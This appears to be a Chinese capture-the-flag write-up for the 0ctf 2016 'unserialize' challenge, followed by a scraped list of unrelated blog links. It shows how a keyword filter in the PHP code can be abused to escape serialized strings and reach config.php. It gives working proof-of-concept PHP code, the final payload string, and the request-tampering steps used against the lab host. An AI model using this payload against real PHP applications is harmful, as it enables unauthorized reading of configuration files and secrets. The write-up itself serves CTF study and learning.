[0ctf 2016]unserialize

像这种反序列化题都会有源码

目录扫描dirsearch -u http://node4.anna.nssctf.cn:28978/

得到www.zip源码

大致的查看源码,发现flag藏在config.php文件中

那我们需要找到可以调出config.php文件的代码

profile.php文件中发现调用photo文件路径

由此想到可以将photo文件路径修改为config.php

根据这个线,找到可利用点

nickname可以利用数组绕过过滤

同时可以利用class.php中的filter过滤

先构造正确的序列化

php 复制代码
<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "[email protected]";
	public $nickname = array('');
	public $photo = "config.php";
	// public $photo = "upload/";
}
$s=new f;
$a=new u;
$b=serialize($a);
var_dump($b);
?>

结果:

php 复制代码
string(135) "O:1:"u":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}"

错误的序列化

php 复制代码
<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "[email protected]";
	public $nickname = array('');
	// public $photo = "config.php";
	public $photo = "upload/";
}
$s=new f;
$a=new u;
$b=serialize($a);
var_dump($b);
?>

结果:

php 复制代码
string(131) "O:1:"u":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:7:"upload/";}"

需要将";}s:5:"photo";s:10:"config.php";}推到";}s:5:"photo";s:7:"upload/";}的位置。
";}s:5:"photo";s:10:"config.php";}的长度为34

所以需要多出34个字符

以此推算,hacker比where多出一个字符,34个where即可

php 复制代码
<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "[email protected]";
	public $nickname = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
	public $photo = "upload/";
}
$s=new f;
$a=new u;
var_dump($a);
$b=serialize($a);
// var_dump($b);
$c=$s->filter($b);
// var_dump($c);
$d=unserialize($c);
var_dump($d);
?>

结果:

php 复制代码
class u#2 (4) {
  public $phone =>
  string(11) "12345678901"
  public $email =>
  string(10) "[email protected]"
  public $nickname =>
  array(1) {
    [0] =>
    string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
  }
  public $photo =>
  string(7) "upload/"
}
class u#3 (4) {
  public $phone =>
  string(11) "12345678901"
  public $email =>
  string(10) "[email protected]"
  public $nickname =>
  array(1) {
    [0] =>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  public $photo =>
  string(10) "config.php"
}

playload:

php 复制代码
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

先输入http://node4.anna.nssctf.cn:28542/register.php随便注册一个账号

抓包update.php

修改相应的值,放包

查看网页源代码

将base64解密即可得到flag

相关推荐
亿坊电商2 小时前
PHP框架在微服务迁移中能发挥什么作用?
开发语言·微服务·php
帅云毅2 小时前
Web漏洞--XSS之订单系统和Shell箱子
前端·笔记·web安全·php·xss
keep intensify3 小时前
Linux常用指令
linux·服务器·php
ALex_zry4 小时前
Docker Macvlan网络配置实战:解决“network already exists“错误
网络·docker·php
布尼卡6 小时前
mac brew 无法找到php7.2 如何安装php7.2
php·mac
ALe要立志成为web糕手6 小时前
[BJDCTF2020]EzPHP
web安全·网络安全·php·ctf
农民也会写代码7 小时前
dedecms织梦arclist标签noflag属性过滤多个参数
开发语言·数据库·sql·php·dedecms
Zhuai-行淮9 小时前
施磊老师基于muduo网络库的集群聊天服务器(七)
服务器·网络·php
言之。15 小时前
别学了,打会王者吧
java·python·mysql·容器·spark·php·html5
帅云毅1 天前
文件上传--解析漏洞和编辑器
笔记·学习·安全·web安全·编辑器·php